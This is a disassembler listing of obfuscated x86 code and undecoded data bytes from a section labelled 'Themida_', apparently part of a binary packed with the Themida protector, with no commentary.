		mov	ah, dh
		mov	bh, ah
		mov	eax, [esp]
		push	edi
		push	esp
		jmp	loc_561B63
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 88534FB1h, 0E9DE88CBh, 0FFFF91AFh
		dd 4E02EEC1h, 256DE9h, 81C10100h, 3213EFE9h, 24048B44h
		dd 0E904C483h, 0FFFFC24Ah, 4ED0C781h, 0E958470Dh, 0FFFFC194h
		dd 24048966h, 0FEFD5DE9h, 455B05FFh, 0BEE92E54h, 53FFFF41h
		dd 2777B951h, 0CB8904CAh, 0FF782DE9h, 0B8505FFFh, 2, 25C6C581h
		dd 0C5015060h, 38C8E9h,	0E6EF8100h, 5B5B2C27h, 0FF47E8E9h
		dd 4E9ACFFh, 81FFFFF4h,	91247DEAh, 74E94A58h, 2900002Ah
		dd 0DD295FFBh, 83241C8Bh, 2C8704C4h, 89665C24h,	50662414h
		dd 0FCF8E99Ch, 162DFFFEh, 151AC2Bh, 2B1605F0h, 0D30551ACh
		dd 0E96AE15Dh, 30BDh, 13B0C381h, 0D9292DA5h, 0B1E9815Bh
		dd 8158CF37h, 373896C1h, 0F3E98152h, 0E96A096Dh, 0FFFF0214h
		dd 8107E9C1h, 9B766DE9h, 59CE8986h, 3AE3E9h, 8BD00100h
		dd 0C4832414h, 3B6E904h, 835DFFFFh, 148704EAh, 24248B24h
		dd 54242C89h, 83242C8Bh, 0BE5604C4h, 2DD656D6h,	623C68h
		dd 242C8900h, 2BB5350h,	43734B25h, 1B85C381h, 0E381779Dh
		dd 6FB37BF6h, 1E56C381h, 0EBC1786Dh, 40C38106h,	891641D4h
		dd 2B43E9D8h, 0D6F70000h, 0FFC551E9h, 54E94FFFh, 29FFFFE2h
		dd 0ADE953D8h, 89000028h, 0E0892404h, 0A19DE953h, 0E789FFFFh
		dd 4C781h, 53E90000h
		db 19h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571417:				; CODE XREF: Themida_:0056C66Fj
		pop	ebx
		jmp	loc_56A97A
; ---------------------------------------------------------------------------


loc_57141D:				; CODE XREF: Themida_:00564A1Bj
		add	edi, 4
		jmp	loc_56DDE2
; ---------------------------------------------------------------------------


loc_571428:				; CODE XREF: Themida_:00562694j
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		mov	dl, ch
		pop	ecx
		push	690Ah
		mov	[esp], ebx
		push	73FDh
		mov	[esp], ecx
		mov	cl, dl
		jmp	loc_57394B
; ---------------------------------------------------------------------------
		db 35h,	10h, 62h
		dd 0C60129A0h, 0FF7FB4E9h, 0E5E958FFh, 1000047h, 5B6E9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_571462:				; CODE XREF: Themida_:00562EC6j
		neg	ebp
		add	ebp, 9A1BC946h
		and	ebp, 535C2EBBh
		inc	ebp
		dec	ebp
		inc	ebp
		push	ebx
		mov	ebx, 0B5E0D1Ah
		sub	ebp, ebx
		jmp	loc_56E857
; ---------------------------------------------------------------------------


loc_571480:				; CODE XREF: Themida_:0057180Bj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebx
		add	dword ptr [esp], 1A6808DDh
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 1A6808DDh
		push	ebx
		mov	ebx, ecx
		mov	eax, ebx
		jmp	loc_56FFB7
; ---------------------------------------------------------------------------
		db 0BEh, 2, 0
		dd 0F1050000h, 56E564Ah, 5C841ACDh, 0F36F0B05h,	5DD32D41h
		dd 7FE96AE1h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5714CB:				; CODE XREF: Themida_:0056EAA8j
		sub	edx, 5CE90B2Eh
		sub	edx, ebx
		push	edi
		mov	edi, 5CE90B2Eh
		add	edx, edi
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_572D2D
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 8159C801h, 4ECh, 510E900h, 51680000h, 0E900001Ah
		dd 2607h, 4055Ch, 0E9570000h, 4D2Eh, 217577BBh,	41F38130h
		dd 0E921EF29h, 0FFFF6CF5h, 8F66C331h, 42CE900h,	0EC830000h
		dd 24048904h, 1250BD55h, 46E909CBh, 5BFFFFF4h, 0FFCE69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571541:				; CODE XREF: Themida_:00566CB8j
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_562C3A
; ---------------------------------------------------------------------------
		dw 0CF68h
		dd 89000034h, 268243Ch,	5F000000h, 0FF0088E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571561:				; CODE XREF: Themida_:00574E1Ej
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 709DD54Ah
		xor	ebx, ecx
		jmp	loc_561448
; ---------------------------------------------------------------------------


loc_571579:				; CODE XREF: Themida_:0057203Bj
		push	ecx
		push	ebx
		mov	bh, 0DFh
		jmp	loc_571271
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0CB682404h, 89000069h, 51E92434h, 68FFFFB7h,	3DABh
		dd 89241489h, 4C281E2h,	51000000h, 7412B850h, 0F2B90211h
		dd 0E9FDEE8Bh, 4A7Dh, 0E9241C87h, 0FFFF60B2h, 0E95FFA01h
		dd 0FFFFFDCDh, 4EC81h, 2C890000h, 2F07E924h, 0E95B0000h
		dd 0FFFF1909h, 1E13F781h, 98685EBFh, 8900000Eh,	68BB241Ch
		dd 816CEC2Bh, 6E4A3CC3h, 5BDF09A0h, 0CD8E781h, 0C78152C0h
		dd 0DC9D4B03h, 535FFA29h, 25FFB951h, 12E91F95h,	81FFFFFCh
		dd 8E05A4F2h, 0E835E95Fh, 5756FFFFh, 473C6851h,	0E959245Ah
		dd 8FFh, 0E0C0C8FEh, 0A0B25202h, 9BE9D000h, 5F000049h
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 15C243Ch, 34335DEEh
		dd 24343124h, 0E9243433h, 3C93h, 50E9D7F7h, 89FFFFCBh
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 5EB2E95Ch, 0C781FFFFh
		dd 4, 4EF81h, 3C870000h, 24895C24h, 24048324h, 243C8B04h
		dd 0FFCE8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571699:				; CODE XREF: Themida_:005689A7j
		and	ecx, 2A1B4657h
		push	eax
		jmp	loc_56F2DD
; ---------------------------------------------------------------------------


loc_5716A5:				; CODE XREF: Themida_:0056F058j
		pop	ebx
		push	esi
		push	edx
		jmp	loc_56C684
; ---------------------------------------------------------------------------


loc_5716AD:				; CODE XREF: Themida_:00561901j
		xor	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		add	dword ptr [esp], 4F90419Dh
		jmp	loc_5668D3
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFFFD42h
; ---------------------------------------------------------------------------


loc_5716C8:				; CODE XREF: Themida_:0056F626j
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 79385781h
		pop	ebp
		jmp	loc_5690AB
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFD3FDh, 8106EBC1h, 7B397CE3h, 54BE5660h,	31007A08h
		dd 0F1AEE9F3h, 2BBAFFFFh, 0F7617B2Fh, 8C281DAh,	29CBFE9Eh
		dd 0E8015AD0h, 836EDD05h, 242C8B6Ah, 0FF4BB1E9h, 24248BFFh
		dd 9C243CD2h, 0FEF921E9h, 243487FFh, 8F24248Bh,	0E95C2404h
		dd 41B4h, 8759CE01h, 815C2434h,	4C5h, 703E900h,	685AFFFFh
		dd 11C4h, 0E9241489h, 0FFFFED5Fh, 685BD929h, 2625h, 0FF10FAE9h
		dd 43D5BFFFh, 0A0E93CA1h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571767:				; CODE XREF: Themida_:00567932j
		mov	esi, [esp]
		push	edx
		jmp	loc_56AF57
; ---------------------------------------------------------------------------


loc_571770:				; CODE XREF: Themida_:00575FCDj
		mov	edi, 4D754AF6h
		not	edi
		sub	edi, 3D6324F0h
		not	edi
		push	ecx
		jmp	loc_57525C
; ---------------------------------------------------------------------------


loc_571785:				; CODE XREF: Themida_:00565EE1j
		mov	ebp, esi
		pop	esi
		inc	ebp
		jmp	loc_56FA2D
; ---------------------------------------------------------------------------
		dw 5557h
		dd 0AA7D90BDh, 0BCE4E944h, 0DF89FFFFh, 5B5FFD89h, 15BDD01h
		dd 0C875DE9h, 24248B24h, 9C242CD2h, 0FEF88DE9h,	447D68FFh
		dd 0C890000h, 53595424h, 4EC81h, 0C890000h, 44EDB924h
		dd 0F6684E70h, 0E9000045h, 0FFFFB01Fh
; ---------------------------------------------------------------------------


loc_5717D8:				; CODE XREF: Themida_:00569687j
		add	ebx, 0BC608489h
		push	7A2Eh
		mov	[esp], edx
		push	ebx
		mov	ebx, 107D4960h
		mov	edx, 78FE23C0h
		xor	edx, ebx
		pop	ebx
		add	eax, 53B50786h
		add	eax, edx
		push	ebx
		mov	ebx, 53B50786h
		sub	eax, ebx
		jmp	loc_56F46A
; ---------------------------------------------------------------------------


loc_571808:				; CODE XREF: Themida_:0056B023j
		xor	edx, [esp]
		jmp	loc_571480
; ---------------------------------------------------------------------------
		dd 9C240420h, 0FEF829E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571819:				; CODE XREF: Themida_:0056E2E6j
		mov	[esp], esp
		jmp	loc_564B28
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 46h
		dd 29A621EAh, 0C28159CAh, 2B9442C5h, 7E9F201h, 8B00004Eh
		dd 0C4812404h, 4, 718968h, 24348900h, 9E95E54h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57184F:				; CODE XREF: Themida_:0057099Dj
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	0FFFh
		jmp	loc_5629F5
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0E6895658h, 4C681h, 0C6830000h, 24348704h
		dd 4EC815Ch, 0E9000000h, 0FFFFA5E3h
; ---------------------------------------------------------------------------


loc_571888:				; CODE XREF: Themida_:00565428j
		push	ecx
		jmp	loc_566929
; ---------------------------------------------------------------------------
		dw 0A7BBh
		dd 0E94FA312h, 0FFFFFAC8h
; ---------------------------------------------------------------------------


loc_571898:				; CODE XREF: Themida_:005652D9j
		push	dword ptr [esp+4]
		jmp	loc_56B185
; ---------------------------------------------------------------------------
		db 46h,	0C1h, 0EEh
		dd 6EEC103h, 0FF7437E9h, 91E95AFFh, 8BFFFF26h, 0C481241Ch
		dd 4, 2C8BE901h, 45B2E924h, 248B0000h, 0E9F9F624h, 0FFFF836Bh
		dd 0B9240C89h, 4, 0E0E9CA29h, 31FFFFBFh, 0C2815FFAh, 346D3B70h
		dd 43F9E281h, 0A8E937E7h, 59FFFF10h, 66B4B353h,	2414F653h
		dd 0D3F65B66h, 8006C380h, 0CB8001EBh, 4C1CE9A9h, 3C31FFFFh
		dd 243C3324h, 0E924248Bh, 0FFFFFEF4h, 8159CE01h, 0A541A4C2h
		dd 0F0EA813Fh, 14E3F0Bh, 0F0B951F2h, 814E3F0Bh,	2B6676C2h
		dd 81CA0149h, 2B6676EAh, 0EA815949h, 3FA541A4h,	8124348Bh
		dd 4C4h, 0F6ECE900h, 0E7E9FFFEh
		db 0F6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57195B:				; CODE XREF: Themida_:0056FF79j
		sub	esp, 4
		mov	[esp], ebx
		sub	dword ptr [esp], 5F7542C5h
		push	dword ptr [esp]
		jmp	loc_565BB8
; ---------------------------------------------------------------------------
		dd 0E7EE954h, 0BE56FFFFh, 4, 4247401h, 24048B5Eh, 5304C483h
		dd 0F67C96BBh, 12CBE927h, 0EA81FFFFh, 8568AE03h, 34FFD501h
		dd 0ED685A24h, 8900003Fh, 0E189240Ch, 0FFA069E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5719AD:				; CODE XREF: Themida_:00575C05j
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5679C4
; ---------------------------------------------------------------------------


loc_5719C1:				; CODE XREF: Themida_:0057689Aj
		shl	edx, 2
		sub	edx, 0C38B02DFh
		jmp	loc_564FFD
; ---------------------------------------------------------------------------


loc_5719CF:				; CODE XREF: Themida_:005665FBj
		sub	ebx, 15155836h
		add	ebx, 3DD39AEh
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	1F872F2Ch
		pop	eax
		xor	eax, 8B802D1h
		jmp	loc_570843
; ---------------------------------------------------------------------------
aF1Sa		db 'f1,$éa)',0
		dw 400h
aUfsI		db 'žfS·¨',0
		dw 66F8h
aS5		db '[éÜ5',0
		align 2
		dw 3C89h
		dd 3CBE5624h, 0E933D535h, 0FFFFFD45h, 83242C8Bh, 0C68304C4h
		dd 24348702h, 6624248Bh, 9C240401h, 0FEF611E9h,	81E589FFh
		dd 4C5h, 4ED8100h, 0E9000000h, 0FFFFBFC3h, 685EF101h, 3FFFh
		dd 2331E9h
		db 0
; ---------------------------------------------------------------------------


loc_571A51:				; CODE XREF: Themida_:00561729j
		push	dword ptr [esp]
		jmp	loc_563C8F
; ---------------------------------------------------------------------------


loc_571A59:				; CODE XREF: Themida_:00568DA7j
		add	eax, 3664897h
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5622D8
; ---------------------------------------------------------------------------
		align 2
		dw 0E9E3h
		dd 1132h, 0E980C7B1h, 59C800C1h, 0FE58C700h, 66EFD0CFh
		dd 6BB450h, 2C5866E7h, 0E9F82821h, 0FFFF5EAFh, 0C62EEB81h
		dd 0DD291E04h, 0FFFE16E9h, 3964BDFFh, 0E9294EA9h, 0CBE9815Dh
		dd 1005759h, 0CBC181D9h, 56005759h, 0A8702FBEh,	81DEF763h
		dd 3A6F59C6h, 81D6F724h, 3B388FC6h, 59F9E90Fh, 0C481FFFFh
		dd 4, 2C681h, 0EC810000h, 4, 0FF243489h, 8B042474h, 89522434h
		dd 515751E2h, 882475B9h, 4149417Fh, 5F59F181h, 0F1817703h
		dd 2C8C540Dh, 0C159CF89h, 0EFC105EFh, 0E1EF8106h, 0E9000480h
		dd 0FFFFE350h, 8012EA80h, 0D72859EAh, 0B4F7805Ah, 525BFE28h
		dd 8033B151h, 0CA88A2E9h, 0AACA8059h, 0FF28C7E9h, 16F280FFh
		dd 0E2C0DAF6h, 0FB05005h, 34E9C200h, 57FFFFCBh,	0FFE92DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571B51:				; CODE XREF: Themida_:005729BCj
		sub	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_5758ED
; ---------------------------------------------------------------------------


loc_571B6F:				; CODE XREF: Themida_:00563F3Fj
		push	60D5728Eh
		pop	esi
		push	ebx
		mov	ebx, 0ABE2E88Ch
		jmp	loc_573B19
; ---------------------------------------------------------------------------


loc_571B80:				; CODE XREF: Themida_:00564634j
		or	esi, 1BBC191Ch
		not	esi
		add	esi, 3FFE7B64h
		sub	edx, esi
		pop	esi
		jmp	loc_56F9EC
; ---------------------------------------------------------------------------


loc_571B96:				; CODE XREF: Themida_:0056F6A5j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5C8E2C03h
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		pop	edi
		sub	edi, 5C8E2C03h
		mov	esi, [esp]
		jmp	loc_56D61E
; ---------------------------------------------------------------------------
		dw 52ADh
		dd 0D32E7DBAh, 4EC8354h, 2E85E9h
		db 0
; ---------------------------------------------------------------------------


loc_571BC9:				; CODE XREF: Themida_:005695C3j
		push	5C15h
		jmp	loc_5749AB
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 0BB53E189h,	54221361h, 0FFE3B0E9h
		dd 5BDA21FFh, 0FF6F74E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571BF1:				; CODE XREF: Themida_:00565AF4j
		sub	eax, 53D0073Ch
		jmp	loc_564B87
; ---------------------------------------------------------------------------
		db 81h
		dd 344EB4EAh, 14335D6Ah, 910E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571C0A:				; CODE XREF: Themida_:0056D69Dj
		add	esi, 4
		jmp	loc_575127
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 2
		dd 6866h, 8A243C28h, 0C483243Ch, 68526602h, 4EEFh, 0FFCD09E9h
		dd 3E9C1FFh, 519B68h, 24048900h, 1875BD55h, 0CDB84878h
		dd 31455F0Dh, 0F90D5DE8h, 55179C23h, 0BF37FABDh, 0A6A0E91Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571C5A:				; CODE XREF: Themida_:005636BBj
		pop	ebx
		jmp	loc_567B4B
; ---------------------------------------------------------------------------
		dd 2EE9C829h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571C67:				; CODE XREF: Themida_:0056CFBAj
		push	eax
		mov	ah, 5
		not	ah
		or	ah, 65h
		dec	ah
		sub	ah, 83h
		sub	ah, 0D9h
		sub	ah, 0CFh
		sub	bl, ah
		jmp	loc_56DFF8
; ---------------------------------------------------------------------------
aWUkrs@		db 'W¿%ukréÈ@',0
		align 4


loc_571C8C:				; CODE XREF: Themida_:00568F53j
		sub	eax, edi
		pop	edi
		add	eax, ebp
		push	ebp
		mov	ebp, 27A026Eh
		add	eax, 416A0DABh
		add	eax, ebp
		push	ebx
		mov	ebx, 416A0DABh
		sub	eax, ebx
		pop	ebx
		pop	ebp
		pop	ebp
		xor	ebx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56D8D0
; ---------------------------------------------------------------------------
		dd 0E98023B1h, 71B652DEh, 20B8C680h, 24148BF1h,	8004C483h
		dd 0B050ADE9h, 58C13016h, 0C8BCE28h, 4C48124h, 53000000h
		dd 2AE9F388h, 51FFFF3Dh, 4B9h, 59CA0100h, 4C281h, 14870000h
		dd 24248B24h, 525368h, 241C8900h, 42474FFh, 52241C8Bh
		dd 0C281E289h, 4, 0E904C283h, 0FFFF005Ah
; ---------------------------------------------------------------------------


loc_571D18:				; CODE XREF: Themida_:00563847j
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5709DA
; ---------------------------------------------------------------------------
		dw 7768h
		dd 89000015h, 0FFE9243Ch
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571D2F:				; CODE XREF: Themida_:0056B753j
		pop	esp
		push	ebx
		push	478378A8h
		pop	ebx
		sub	ebx, 1
		push	51Eh
		mov	[esp], eax
		push	ebp
		mov	ebp, 4FB208D1h
		xor	ebp, 579C7935h
		shl	ebp, 1
		shl	ebp, 3
		sub	ebp, 7ED3E3F6h
		mov	eax, ebp
		pop	ebp
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_57210B
; ---------------------------------------------------------------------------
		db 9
		dd 243C8BF9h, 0E904C483h, 2A75h, 6CF78058h, 8015F780h
		dd 0E78051C7h, 0FEF786F9h, 80F786C6h, 0EC80FEEFh, 0E9FC28A7h
		dd 4103h, 0E924048Bh, 0FFFFEEEFh, 4E0A23B8h, 58C68935h
		dd 3192E9h, 244C0100h, 565B5904h, 7667F9BEh, 0F4FAE946h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571DBA:				; CODE XREF: Themida_:00576394j
		pop	esp
		xchg	ebp, [esp]
		push	dword ptr [esp]
		jmp	loc_56359F
; ---------------------------------------------------------------------------
		dw 26BFh
		dd 51503279h, 0DF71F0B9h, 59CA293Dh, 0FFE41FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571DD9:				; CODE XREF: Themida_:0056E425j
		or	ecx, 176D34D6h
		jmp	loc_562D63
; ---------------------------------------------------------------------------
		dd 3C7E0A2Dh, 0E9D80122h, 0FFFFBD83h, 5DE80158h, 0E904C083h
		dd 0FFFF065Fh, 8B242C87h, 9BE92424h
		db 0FFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_571E07:				; CODE XREF: Themida_:005676D8j
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 55EF3710h
		push	ecx
		jmp	loc_56EB9B
; ---------------------------------------------------------------------------


loc_571E1A:				; CODE XREF: Themida_:0056F92Aj
		pop	edx
		add	esp, 4
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_572218
; ---------------------------------------------------------------------------
		db 5Dh
		dd 2474FF57h, 1D13E904h, 0E9590000h, 0FFFF48B5h
; ---------------------------------------------------------------------------


loc_571E3C:				; CODE XREF: Themida_:00561248j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56E4B0
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 83000000h,	0E5E904C2h, 58FFFFC8h, 2FCFE9h
		db 0
; ---------------------------------------------------------------------------


loc_571E5D:				; CODE XREF: Themida_:00565987j
		xor	edi, ebx
		pop	ebx
		push	edi
		pop	eax
		jmp	loc_56BAF4
; ---------------------------------------------------------------------------
		db 53h
		dd 183FE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_571E6E:				; CODE XREF: Themida_:00566D77j
		mov	esp, [esp]
		shr	eax, 0Ah
		xor	eax, ecx
		push	37A2h
		mov	[esp], eax
		jmp	loc_5652D1
; ---------------------------------------------------------------------------


loc_571E83:				; CODE XREF: Themida_:0056ADF1j
		mov	edx, 732F562Ch
		sub	edx, 7BC92C0Eh
		shr	edx, 1
		jmp	loc_56CC1F
; ---------------------------------------------------------------------------
		db 31h,	0D1h, 0E9h
		dd 0FFFFCA91h, 4C48159h, 50000000h, 0FF9370E9h,	89DF89FFh
		dd 8DE95FF9h, 1FFFFA3h,	4BC181F1h, 81171F74h, 4ECh, 24148900h
		dd 3688BB53h, 0DA89454Bh, 5AD1295Bh, 2B4DBB53h,	0C3813C1Eh
		dd 2110F50Ch, 8B5BD901h, 0C7E92434h, 66FFFF89h,	5524048Bh
		dd 50E28952h, 467745B8h, 2E8C11Ch, 0BB5C1235h, 0AC6E958h
		dd 0C483FFFFh, 240C8B02h, 4C481h, 88E90000h, 81FFFFB9h
		dd 4C1h, 0D8E95000h, 8B000044h,	0B1E92434h, 51FFFF6Fh
		dd 0B4BE9h
		db 0
; ---------------------------------------------------------------------------


loc_571F2D:				; CODE XREF: Themida_:00564F7Ej
		add	eax, esi
		pop	esi
		push	esi
		mov	esi, 44E45785h
		push	ecx
		jmp	loc_56659E
; ---------------------------------------------------------------------------
		dd 0DB5BB4B8h, 40D8F72Fh, 0BBBA5248h, 8128186Fh, 7147A9E2h
		dd 14F7E927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_571F56:				; CODE XREF: Themida_:0056F8A4j
		mov	esi, 2FF2685Bh
		add	esi, 15A0207Fh
		or	esi, 75CB631Dh
		sub	esi, 568DCA30h
		sub	eax, esi
		pop	esi
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_56F7ED
; ---------------------------------------------------------------------------


loc_571F88:				; CODE XREF: Themida_:005615C9j
		pop	esi
		xchg	esi, ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57633C
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 434214B8h, 1E5BEA81h, 0C2815499h, 0E451AAB7h, 0E95AD301h
		dd 0FFFF9EC2h, 0BB55150h, 82B15150h, 809AC980h,	0CC88ECE9h
		dd 62E95259h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_571FD3:				; CODE XREF: Themida_:005642DEj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	2BEBh
		mov	[esp], ecx
		jmp	loc_565B76
; ---------------------------------------------------------------------------
		db 29h
		dd 0F4F7E9FAh, 0C381FFFEh, 4, 8704C383h, 0E2E9241Ch
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571FFF:				; CODE XREF: Themida_:0056AEF7j
		not	al
		inc	al
		shr	al, 6
		add	al, 0F0h
		jmp	loc_56CFB1
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 1831E9h
		db 0
; ---------------------------------------------------------------------------


loc_572015:				; CODE XREF: Themida_:0056E211j
		add	al, cl
		add	al, 65h
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	bl, 0D3h
		push	dx
		jmp	loc_571579
; ---------------------------------------------------------------------------
		dd 1DBD5558h, 297BEC0Fh, 4C6FE9E8h, 0BD55FFFFh,	636960F4h
		dd 8246C29h, 0EE53E95Dh, 0F381FFFFh, 108C7D09h,	4FB0EB81h
		dd 3FE93EF2h
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57206F:				; CODE XREF: Themida_:00563ED0j
		pop	esp
		push	1177h
		mov	[esp], edi
		pop	eax
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_57110C
; ---------------------------------------------------------------------------
		dd 8903F681h, 0F229552Ah, 55F4E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572092:				; CODE XREF: Themida_:0056EF97j
		push	177Dh
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_56FFBF
; ---------------------------------------------------------------------------


loc_5720A4:				; CODE XREF: Themida_:0056C50Fj
		pop	edx
		add	esi, ecx
		push	edx
		jmp	loc_565CBE
; ---------------------------------------------------------------------------


loc_5720AD:				; CODE XREF: Themida_:00567B53j
		pop	esi
		jmp	loc_574B50
; ---------------------------------------------------------------------------
		db 89h
		dd 87E92404h, 1FFFEEFh,	241C8BD9h, 5E08950h, 4,	8704C083h
		dd 0E95C2404h, 0FFFF3858h
; ---------------------------------------------------------------------------


loc_5720D4:				; CODE XREF: Themida_:00562669j
		mov	ebx, 308B0508h
		add	ebx, 11312C70h
		or	edi, ebx
		push	dword ptr [esp]
		jmp	loc_57699A
; ---------------------------------------------------------------------------
		db 29h,	0DAh, 5Bh
		dd 16F6E981h, 2FE975E9h, 8900001Fh, 12E92404h, 8BFFFF11h
		dd 0F662424h, 0BAE9C8AFh
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57210B:				; CODE XREF: Themida_:00571D62j
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_568BE3
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 1D8EE900h, 0CD290000h,	0FF203DE9h, 24E951FFh
		dd 51000029h, 0C180C6B1h, 7E1C0BFh, 0E980D1F6h,	59CC8817h
		dd 19E9ECD0h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_57215B:				; CODE XREF: Themida_:0056B1B1j
		sub	al, ch
		mov	cx, [esp]
		push	ebx
		jmp	loc_572C47
; ---------------------------------------------------------------------------
		db 5Fh
		dd 68240429h, 6692h, 56242C89h,	57C2ABEh, 0E421E96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57217E:				; CODE XREF: Themida_:00570360j
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		pop	esi
		push	esi
		not	dword ptr [esp]
		pop	esi
		xchg	esi, ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	dword ptr [esp]
		pop	ecx
		push	edi
		jmp	loc_56C83D
; ---------------------------------------------------------------------------
		dd 0E95AD329h, 0FFFFB9E7h, 48E9EB31h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5721B7:				; CODE XREF: Themida_:0056D000j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_57101B
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C3h
		dd 879377Fh, 0A9E9F301h, 81FFFF35h, 4C4h, 24048700h, 2404D25Ch
		dd 0EE54E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5721EE:				; CODE XREF: Themida_:00563BC9j
		mov	ecx, esi
		pop	esi
		not	ecx
		jmp	loc_562864
; ---------------------------------------------------------------------------
		dd 42474FFh, 0E92434FFh, 100Fh,	81243C8Bh, 4C4h, 4C48100h
		dd 0E9000000h, 0C99h
; ---------------------------------------------------------------------------


loc_572218:				; CODE XREF: Themida_:00571E26j
		mov	eax, [esp]
		jmp	loc_575B24
; ---------------------------------------------------------------------------


loc_572220:				; CODE XREF: Themida_:0056EAA0j
		and	esi, 4286520Ch
		xchg	edi, esi
		jmp	loc_56D9D8
; ---------------------------------------------------------------------------
aSk_0		db ')ÚéŠ%',0
		align 4
		dd 0E9F90159h, 0FFFF7E49h
; ---------------------------------------------------------------------------


loc_57223C:				; CODE XREF: Themida_:00563E96j
		mov	ebp, 2DC22D29h
		sub	esi, ebp
		pop	ebp
		mov	edx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_565B29
; ---------------------------------------------------------------------------
		dw 105h
